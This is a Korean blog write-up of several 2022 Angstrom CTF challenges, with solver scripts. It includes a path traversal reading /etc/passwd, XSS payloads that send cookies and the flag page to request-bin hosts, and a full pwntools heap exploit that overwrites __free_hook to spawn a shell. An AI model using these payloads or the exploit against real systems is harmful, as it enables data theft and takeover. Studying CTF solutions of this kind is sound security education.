5un9hun
5un9hun Have A Nice Day!

2022 Angstrom CTF Write-Up

2022 Angstrom CTF Write-Up

2022.04.30 9:00 ~ 2022.05.05 09:00 까지 조금 길게 열었던 대회였다. 나는 이 때 버그 헌팅을 진행중이였던터라 이 대회의 존재를 늦게 알았고 거의 막바지에 참여했다 ㅠㅠ.. 빨리 참여했다면 동아리 팀에 들어가서 참여했을 텐데..

대회 입상이 목적이 아니라 공부가 목적이였기 때문에 딱 봐도 엄청 쉬운 문제는 Write-up에서 제외했다.

Web

1. The Flash

웹 문제에서 솔브가 가장 많은 문제인데 그 이유는 이 문제가 별다른 작업 필요없이 해당 웹사이트를 화면 녹화해서 가짜 플래그가 진짜 플래그로 바뀔 때를 정지하면서 확인할 수 있다.

intend 방식은 브라우저 디버깅을 이용해서 플래그를 확인해야 한다.

Untitled

위의 가짜 플래그가 있지만 난독화된 js파일을 통해 엄청 빠르게 진짜 플래그로 바뀌었다가 다시 가짜 플래그로 바뀐다.

이를 breakpoint를 통해 진짜 플래그를 확인할 수 있다.

Untitled

2. crumbs

사이트 주소와 코드가 주어진다. 코드는 다음과 같다. nodejs 서버를 이용한다.

source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
const express = require("express");
const crypto = require("crypto");

const app = express();
const port = Number(process.env.PORT) || 8080;

const flag = process.env.FLAG || "actf{placeholder_flag}";

const paths = {};
let curr = crypto.randomUUID();
let first = curr;

for (let i = 0; i < 1000; ++i) {
    paths[curr] = crypto.randomUUID();
    curr = paths[curr];
}

paths[curr] = "flag";

app.use(express.urlencoded({ extended: false }));

app.get("/:slug", (req, res) => {
    if (paths[req.params.slug] === "flag") {
        res.status(200).type("text/plain").send(flag);
    } else if (paths[req.params.slug]) {
        res.status(200)
            .type("text/plain")
            .send(`Go to ${paths[req.params.slug]}`);
    } else {
        res.status(200).type("text/plain").send("Broke the trail of crumbs...");
    }
});

app.get("/", (req, res) => {
    res.status(200).type("text/plain").send(`Go to ${first}`);
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

코드를 대략 설명하면 1000개의 연결리스트를 만들고 랜덤한 uuid를 생성해 서로를 연결한다. 그리고 맨 마지막에는 “flag” 라는 문자열이 존재하고 get으로 flag가 존재하는 uuid로 접속하면 진짜 flag를 출력시켜주는 것이다.

처음에는 막막할 뻔 했지만 잘 생각해보면 스크립트를 통해 겨우 1000번만 request하면 공짜로 flag를 얻을 수 있다.

해당 uuid의 다음 uuid는 화면에 뿌려주므로 접속 / 파싱 을 통해 간단히 해결했다. 스크립트 돌리고 한 5분정도면 flag를 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = 'https://crumbs.web.actf.co/'

start = '61f57d99-6d8e-4e5e-bfc1-995dc358fce7'

for i in range(1000+2):
	req = requests.get(url+start)
	print(i, start)
	d = req.text[6:]

#actf{w4ke_up_to_th3_m0on_6bdc10d7c6d5}

3. Art Gellery

이 문제 상당히 힘들게 풀었던 것 같다. .git 폴더에 어떤 파일이 들어가는지, 어떤 구조로 되어있는지 아예 몰라서 구글링을 많이 했다. 덕분에 .git의 구조를 어느정도 파악할 수 있어졌다.

웹 사이트에 접속하면 메뉴 선택을 할 수 있고 아무거나 선택해서 들어가면 서버 내 저장된 이미지가 출력된다.

다음은 해당 사이트로 접속했을 때의 url이다.

1
https://art-gallery.web.actf.co/gallery?member=aplet.jpg

member의 매개변수에 해당 파일 이름이 존재하고, 여기서 path traversal 취약점이 존재한다.

다음과 같이 ../../../../etc/passwd 를 입력하면 값이 출력된다.

1
https://art-gallery.web.actf.co/gallery?member=../../../../etc/passwd

Untitled

이 취약점을 통해 어떤 파일을 leak할지 한참 고민하다가 문제의 description에서 다음과 같은 설명이 있었다.

1
bosh left his image gallery service running.... quick, git all of his secrets before he deletes them!!!

git 를 봐야하는데 .,. 일단 CTF니까 Dockerfile이 존재할거라 생각해서 Dockerfile을 먼저 살펴보았습니다.

Untitled

ㅇㅋㅇㅋ git 폴더를 해당 .git 폴더로 이름 바꿔서 넣었군요.

.git 폴더의 구조를 어느정도 숙지하고 먼저 .git 내에 logs 폴더를 뒤적였습니다.

Untitled

로그에 대한 해시가 왼쪽에 있다.

이 로그들이 들어있는 디렉토리는 .git/objects 에 존재한다. 해당 디렉토리 내에서는 40바이트의 해시를 2 / 38 로 나눠서 2는 폴더 이름 38은 파일이름(오브젝트)로 저장해놓는다.

따라서 각각의 해시의 오브젝트를 확인해야한다. 해당 파일들은 오브젝트 파일이라 다운해서 확인할 수 있다. 하지만 이 파일들을 열어보면 알 수없는 문자들이 존재한다.

Untitled

일단 헤더가 78 01인 것을 보아 zlib로 compress된 것을 알 수 있고, 내용을 확인하기 위해서는 decompress를 진행해야한다. 따라서 다음과 같은 스크립트를 통해 decompres된 내용을 확인을 할 수 있다.

1
2
3
4
5
6
7
8
9
import zlib

zdata = ''

with open('AAAA', 'rb') as f:
	zdata = f.read()

data = zlib.decompress(zdata)
print(data.decode())
  1. 56449caeb7973b88f20d67b4c343cbb895aa6bc7

    Untitled

  2. 713a4aba8af38c9507ced6ea41f602b105ca4101

    Untitled

  3. 1c584170fb33ae17a63e22456f19601efb1f23db

    Untitled

해당 파일들에 commit 해시가 적혀있는데 가장 1번째 커밋인 add program commit이 적힌 commit을 봤다. ff511529549e4a9376c897df27e001a909caa933 오브젝트를 확인해보았다.

Untitled

해당 파일은 decode가 안돼서 인코딩상태로 확인했다.

정리하면 다음과 같다.

1
2
3
4
5
6
7
8
tree 266 100644 
error.html\x00\x8a\xba9\xc0\xcc\x9eNH5yo\xf0\x1b\x98\xc8k\x8b\xc8\x1b\x01
100644 flag.txt\x00x\x0f\x86G\x15\t\x9av\x12\xef\xae:<\xdb\xcc\xde\x05\xa0\xad\xc4
40000 images\x00\\\x1f\xf2i\xbd\xdd2\xdb\xe3\x17"\xb4\x99\x18\x99G\xfb\xd84j
100644 index.html\x006x\x13e\xca\xfa\xe9;<\xd8\xdb\xc5E\x0eb\xc0\xebW\xae\xea
100644 index.js\x00?\xbbU~UX\xae\xc5b\x95\xc7\xf5~-S\xf4Q\xd7v\xcc
100644 package-lock.json\x00\xa5\xb3\xc07\x85sb\x15\xa4\xba\xa6t\x0b^Y^\xacr\xec\xc
1100644 package.json\x00\xab\x8a\xd5\xc7\xabU\xaa-f\xb9\xc4\xa9\x04\x1f\x13\xe2\x98\xa3\xc1\x8f

flag.txt 파일이 있고, 그 다음 \x00 을 제외한 20바이트의 헥스값이 존재한다. 이는 40바이트의 해시를 의미하고, 해시로 바꾸면 다음과 같다.

1
2
3
4
5
100644 flag.txt\x00x\x0f\x86G\x15\t\x9av\x12\xef\xae:<\xdb\xcc\xde\x05\xa0\xad\xc4

->

780f864715099a7612efae3a3cdbccde05a0adc4

이 오브젝트를 확인해보면 다음과 같다.

Untitled

좀 재밌는 문제였다 ㅋㅋ

+) Xtra Salty Sardines

이 문제는 취약점을 트리거하고, 그 이후에 익스플로잇을 못해서 풀지 못했다. javascript를 잘 몰라서 못풀었다 ㅠㅠ..

일단 주어진 코드는 다음과 같다.

source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
const express = require("express");
const path = require("path");
const fs = require("fs");
const cookieParser = require("cookie-parser");

const app = express();
const port = Number(process.env.PORT) || 8080;
const sardines = {};

const alpha = "abcdefghijklmnopqrstuvwxyz";

const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";

function genId() {
    let ret = "";
    for (let i = 0; i < 10; i++) {
        ret += alpha[Math.floor(Math.random() * alpha.length)];
    }
    return ret;
}

app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

// the admin bot will be able to access this
app.get("/flag", (req, res) => {
    if (req.cookies.secret === secret) {
        res.send(flag);
    } else {
        res.send("you can't view this >:(");
    }
});

app.post("/mksardine", (req, res) => {
    if (!req.body.name) {
        res.status(400).type("text/plain").send("please include a name");
        return;
    }
    // no pesky chars allowed
    const name = req.body.name
        .replace("&", "&amp;")
        .replace('"', "&quot;")
        .replace("'", "&apos;")
        .replace("<", "&lt;")
        .replace(">", "&gt;");
    if (name.length === 0 || name.length > 2048) {
        res.status(400)
            .type("text/plain")
            .send("sardine name must be 1-2048 chars");
        return;
    }
    const id = genId();
    sardines[id] = name;
    res.redirect("/sardines/" + id);
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.get("/sardines/:sardine", (req, res) => {
    const name = sardines[req.params.sardine];
    if (!name) {
        res.status(404).type("text/plain").send("sardine not found :(");
        return;
    }
    const sardine = fs
        .readFileSync(path.join(__dirname, "sardine.html"), "utf8")
        .replaceAll("$NAME", name.replaceAll("$", "$$$$"));
    res.type("text/html").send(sardine);
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

간단히 코드를 설명하면 input으로 문자열을 주고 submit하면 그 문자열을 필터링하고 랜덤한 id를 생성해 sardines 객체의 key값으로 해당 문자열을 저장한다. 이 때 필터링되는 것은 & “ ‘ < > 5개가 필터링된다. 그리고 /flag 경로로 들어가면 secret이라는 쿠키값이 서버에 있는 값과 일치하면 flag를 출력시켜준다. 즉 admin의 secret값을 통해 flag를 획득할 수 있다.

XSS 공격을 방지하려는 차원에서 필터링한 것 같은데 취약점은 필터링하는 곳에서 바로 터진다. 필터링할 때 replaceAll 함수가 아닌 replace 함수를 사용하여 해당 문자열이 있다면 1번만 replace된다. 따라서 XSS 공격 구문 앞에 &”’<> 를 넣어주면 이 5개의 문자열만 필터링되고 뒤의 문자열들은 그대로 전달되어서 XSS 공격이 허용된다.

이제 익스플로잇을 진행할 수 있는데 공격은 문제에서 admin bot이라는 사이트가 추가로 제공되는데 해당 url에 admin에게 접속하라고 시키고 싶은 url을 전달하면 bot이 그 사이트를 방문한다. 따라서 그냥 admin의 cookie값인 secret을 request bin을 이용하여 탈취하려고 했지만 admin이 쿠키가 없었다 ㅎ.. 그래서 여기서 막혀서 못풀었다.

1
<"'&><script>document.location="https://ertejfg.request.dreamhack.games?a="+document.cookie</script>

그 후 정답을 보았을 때는 fetch 함수를 이용해서 admin이 /flag 에 방문하고 그 페이지의 값을 request bin으로 전달하는 것으로 해결할 수 있었다.

1
&"'<><script>fetch("https://xtra-salty-sardines.web.actf.co/flag").then(res => res.text()).then(text => fetch("https://avrfiqg.request.dreamhack.games?a=" + text));</script>

위의 페이로드를 저장하고 페이로드가 담긴 페이지를 admin bot에 전달하면 다음과 같이 request bin에 flag값이 담긴다.

Untitled

자바스크립트 공부좀 해야겠다..

Crypto

1. Vinegar Factory

주어진 코드를 분석하여, 서버에서 인증하는 형식이다.

source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/local/bin/python3

import string
import os
import random

with open("flag.txt", "r") as f:
    flag = f.read().strip()

alpha = string.ascii_lowercase

def encrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(key[i]) + alpha.index(c)) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret

inner = alpha + "_"
noise = inner + "{}"

print("Welcome to the vinegar factory! Solve some crypto, it'll be fun I swear!")

i = 0
while True:
    if i % 50 == 49:
        fleg = flag
    else:
        fleg = "actf{" + "".join(random.choices(inner, k=random.randint(10, 50))) + "}"
    start = "".join(random.choices(noise, k=random.randint(0, 2000)))
    end = "".join(random.choices(noise, k=random.randint(0, 2000)))
    key = "".join(random.choices(alpha, k=4))
    print(f"Challenge {i}: {start}{encrypt(fleg + 'fleg', key)}{end}")
    x = input("> ")
    if x != fleg:
        print("Nope! Better luck next time!")
        break
    i += 1

코드를 간단히 설명하면 총 50라운드로 이루어져서 1~49라운드까지는 가짜 플래그 actf{ … }형식을 msg로 encrypt하고 50라운드는 진짜 flag로 encrypt하여 출력시킨다. 다만 랜덤한 값을 앞,뒤로 랜덤한 바이트수만큼 덮어서 start + flag + end 형식으로 출력된다.

다음 라운드로 진행하려면 encrypt되기 전의 msg 즉 (가짜, 진짜)flag값을 알아야 하며 그 값 외에는 프로그램을 종료시킨다.

encrypt 함수의 핵심 로직은 다음과 같다.

1
(alpha.index(key[i]) + alpha.index(c)) % len(alpha)

alpha 는 26개의 알파벳이 들어있다.

(alpha에서 key값에 있는 알파벳의 위치 + alpha에서 msg의 알파벳의 위치) % 26

% 26 때문에 헷갈렸는데 결국은 각 알파벳 위치의 합이다.

encrypt 함수에서는 위에서 구한 위치의 합을 alpha 인덱스로 값을 찾아서 ret에 넣는다.

이를 msg 모두 반복하여 암호문이 완성된다.

여기서 msg의 특성을 확인해보면

actf{ ……. }fleg

이다. 즉, actf{ 와 }fleg는 고정적이며 가운데 값이 다르다.

소스코드에서 최대한 얻을 수 있는 단서

  1. actf{ , }fleg는 고정적이다.
  2. key값은 4바이트의 랜덤한 알파벳
  3. 1, 2, encrypt 암호화 로직을 통해 key값을 유출시킬 수 있다.

    1번째 값의 alpha 인덱스 - ‘a’ 값의 alpha 인덱스 = key[0]

    2번째 값의 alpha 인덱스 - ‘c’ 값의 alpha 인덱스 = key[1]

    3번째 값의 alpha 인덱스 - ‘t’ 값의 alpha 인덱스 = key[2]

    4번째 값의 alpha 인덱스 - ‘f’ 값의 alpha 인덱스 = key[3]

  4. key값을 얻으면 역연산을 통해 msg의 값을 decrypt 시킬 수 있다.

이정도인데 문제는 start + flag + end 로 구성된 문자열에서 어떻게 flag 위치를 찾냐이다. 실제로 nc서버에 접속해보면 다음처럼 flag의 위치를 알아보기 힘들다.

Untitled

따라서 이 부분은 정규표현식으로 해결했다.

정규표현식은 다음과 같다.

1
[a-z]{4}{[a-z_]{10,50}}[a-z]{4}

문자4개 + { + 10~50 개수의 문자 + } + 문자4개

해당되는 문자열을 다 뽑아서 위에서 얻은 key값을 통해 decrypt 했을 때, 마지막 4바이트가 fleg인 문자가 진짜 msg일 것이다.

이제 위의 내용들을 모두 코드로 구현하면 다음과 같다.

최종 페이로드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import string
import re

r = remote('challs.actf.co', 31333)

alpha = string.ascii_lowercase
inner = alpha + "_"
noise = inner + "{}"

front = 'actf'
back = 'fleg'

def key_leak(v_list):
	for fleg in v_list:
		key = ''
		for i in range(0, 4):
			tmp = fleg[0:4]
			key += alpha[alpha.index(tmp[i]) - alpha.index(front[i])]
		test = decrypt(fleg, key)
		if(test[0:4] == front and test[-4:] == back):
			return fleg, key

def decrypt(msg, key):
	ret = ""
	i = 0
	for d in msg:
		if d in alpha:
			ret += alpha[alpha.index(d) - alpha.index(key[i])]
			i = (i + 1) % len(key)
		else:
			ret += d
	return ret

def find_fleg(v):
	result = re.findall(r'[a-z]{4}{[a-z_]{10,50}}[a-z]{4}', v)
	return result

r.recvline()
for i in range(50):
	value = r.recvuntil('> ')[:-3]
	value_list = find_fleg(value.decode())
	data, key = key_leak(value_list)
	f = decrypt(data, key)[:-4]
	print("[chall " + str(i)+'] ' + f)
	r.sendline(f.encode())

스크립트를 실행하면 다음처럼 flag를 획득할 수 있다. (중간에 실패할 때도 있다.)

Untitled

Misc

1. Confetti

사진 파일 하나가 주어지는데 이 파일을 다운받아서 HxD로 확인해보면 PNG header, footer가 각각 4개가 있음을 확인할 수 있다.

Untitled

Untitled

이 의미는 사진 1개 뒤에 3개의 사진이 숨겨져있다는 것으로 이해할 수 있고, 다음과 같이 스크립트를 통해 사진을 추출했다.

1
2
3
4
5
6
7
8
9
10
data = ''

with open('confetti.png', 'rb') as f:
	data = f.read()

file = [a[:0xec2aa+1], a[0xec2aa+1:0x1d8555+1], a[0x1d8555+1:0x308777+1], a[0x308777+1:]]

for i in range(1,5):
	with open('confetti_'+str(i)+'.png', 'wb') as f:
		f.write(file[i-1])

추출한 3번째 사진에서 flag가 출력되었다.

Untitled

Pwn

1. dreams

이 문제는 heap에서 oob를 이용한 문제였다.

main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+0h] [rbp-10h] BYREF
  __gid_t rgid; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  dreams = (__int64)malloc(8 * MAX_DREAMS);
  puts("Welcome to the dream tracker.");
  puts("Sleep is where the deepest desires and most pushed-aside feelings of humankind are brought out.");
  puts("Confide a month of your time.");
  v3 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      printf("> ");
      __isoc99_scanf("%d", &v3);
      getchar();
      if ( v3 != 3 )
        break;
      psychiatrist();
    }
    if ( v3 > 3 )
      break;
    if ( v3 == 1 )
    {
      gosleep();
    }
    else
    {
      if ( v3 != 2 )
        break;
      sell();
    }
  }
  puts("Invalid input!");
  exit(1);
}
psychiatrist
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 psychiatrist()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Due to your HMO plan, you can only consult me to decipher your dream.");
  printf("What dream is giving you trouble? ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( !*(_QWORD *)(8LL * v1 + dreams) )
  {
    puts("Invalid dream!");
    exit(1);
  }
  printf("Hmm... I see. It looks like your dream is telling you that ");
  puts((const char *)(*(_QWORD *)(8LL * v1 + dreams) + 8LL));
  puts(
    "Due to the elusive nature of dreams, you now must dream it on a different day. Sorry, I don't make the rules. Or do I?");
  printf("New date: ");
  read(0, *(void **)(8LL * v1 + dreams), 8uLL);
  return __readfsqword(0x28u) ^ v2;
}
sell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 sell()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("You've come to sell your dreams.");
  printf("Which one are you trading in? ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 >= MAX_DREAMS || v1 < 0 )
  {
    puts("Out of bounds!");
    exit(1);
  }
  puts("You let it go. Suddenly you feel less burdened... less restrained... freed. At last.");
  free(*(void **)(8LL * v1 + dreams));
  puts("Your money? Pfft. Get out of here.");
  return __readfsqword(0x28u) ^ v2;
}
gosleep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 gosleep()
{
  size_t v0; // rax
  int v2; // [rsp+Ch] [rbp-14h] BYREF
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("3 doses of Ambien finally calms you down enough to sleep.");
  puts("Toss and turn all you want, your unconscious never loses its grip.");
  printf("In which page of your mind do you keep this dream? ");
  v2 = 0;
  __isoc99_scanf("%d", &v2);
  getchar();
  if ( v2 >= MAX_DREAMS || v2 < 0 || *(_QWORD *)(8LL * v2 + dreams) )
  {
    puts("Invalid index!");
    exit(1);
  }
  buf = malloc(0x1CuLL);
  printf("What's the date (mm/dd/yy))? ");
  read(0, buf, 8uLL);
  v0 = strcspn((const char *)buf, "\n");
  *((_BYTE *)buf + v0) = 0;
  printf("On %s, what did you dream about? ", (const char *)buf);
  read(0, (char *)buf + 8, 0x14uLL);
  *(_QWORD *)(dreams + 8LL * v2) = buf;
  return __readfsqword(0x28u) ^ v4;
}
menu
1
2
3
4
5
6
7
int menu()
{
  puts("----- MENU -----");
  puts("1. Sleep");
  puts("2. Sell");
  return puts("3. Visit a psychiatrist");
}

대충 main함수에서는 40바이트의 힙 생성 후 switch를 통해 메뉴를 호출한다.

  1. gosleep → malloc
  2. sell → free
  3. psychiatrsit → edit

과 같다.

취약점 발생 지점

psychiatrist 함수에서 Out Of Bound 가 발생한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 psychiatrist()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Due to your HMO plan, you can only consult me to decipher your dream.");
  printf("What dream is giving you trouble? ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( !*(_QWORD *)(8LL * v1 + dreams) )
  {
    puts("Invalid dream!");
    exit(1);
  }
  printf("Hmm... I see. It looks like your dream is telling you that ");
  puts((const char *)(*(_QWORD *)(8LL * v1 + dreams) + 8LL));
  puts(
    "Due to the elusive nature of dreams, you now must dream it on a different day. Sorry, I don't make the rules. Or do I?");
  printf("New date: ");
  read(0, *(void **)(8LL * v1 + dreams), 8uLL);
  return __readfsqword(0x28u) ^ v2;
}

일단 12번째 줄에서 OOB 검사를 진행하지 않고, 18번째 줄에서 aar, 21번째 줄에서 aaw를 이용할 수 있다.

gosleep 함수 1번을 통해 힙의 형성은 다음과 같다.

Untitled

이 상태에서 psychiatrist 함수를 호출한다.

정상적인 흐름이라면 0~4 번 사이의 값을 선택하게 되는데 그 범위는 main malloc에서 할당된 청크 안에서만 검색한다. 하지만 OOB 검사를 진행하지 않으므로 0x1000에 위치한 date의 주소까지를 index로 넣으면 *(date 주소 값 + 8) 을 leak할 수 있고, *(date 주소 값)을 overwrite할 수 있다.

보호기법은 PIE 빼고 다 걸려있으니 _free_hook 에 overwrite하면 되고, leak은 got에 있는 libc 주소를 leak할 수 있다.

Untitled

이제 최종적으로 다음과 같은 페이로드를 통해 쉘을 획득할 수 있다. 함수 offset은 문제에서 libc를 통해 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

r = remote('challs.actf.co', 31227)
#r = process('dreams')

#gdb.attach(r, 'b*psychiatrist')

setvbuf_got = 0x403fa8
printf_offset = 0x61cc0

_free_hook_offset = 0x1eee48

og = [0xe3b2e, 0xe3b31, 0xe3b34]

def malloc(idx, data1, data2):
	r.sendlineafter(b'> ', b'1')
	r.sendlineafter(b'this dream? ', idx)
	r.sendafter(b'yy))? ', data1)
	r.sendafter(b'dream about? ', data2)

def free(idx):
	r.sendlineafter(b'> ', b'2')
	r.sendlineafter(b'trading in? ', idx)

def vuln(idx, data):
	r.sendlineafter(b'> ', b'3')
	r.sendlineafter(b'you trouble? ', idx)
	r.recvuntil(b'telling you that ')
	leak = u64(r.recv(6) + b'\x00\x00')
	r.sendafter(b'New date: ', data)
	return leak

#leak
malloc(b'0', p64(setvbuf_got), p64(setvbuf_got))
printf_addr = vuln(b'520', p64(setvbuf_got))

libc_base = printf_addr - printf_offset
_free_hook_addr = libc_base + _free_hook_offset
og_addr = libc_base + og[1]
print(hex(libc_base))

#dummy
r.sendlineafter(b'New date: ', b'aa')
r.sendlineafter(b'New date: ', b'aa')
r.sendlineafter(b'New date: ', b'aa')
r.sendlineafter(b'New date: ', b'aa')

#exploit
malloc(b'2', p64(_free_hook_addr), p64(_free_hook_addr))
vuln(b'526', p64(og_addr))

free(b'0')

r.interactive()

comments powered by Disqus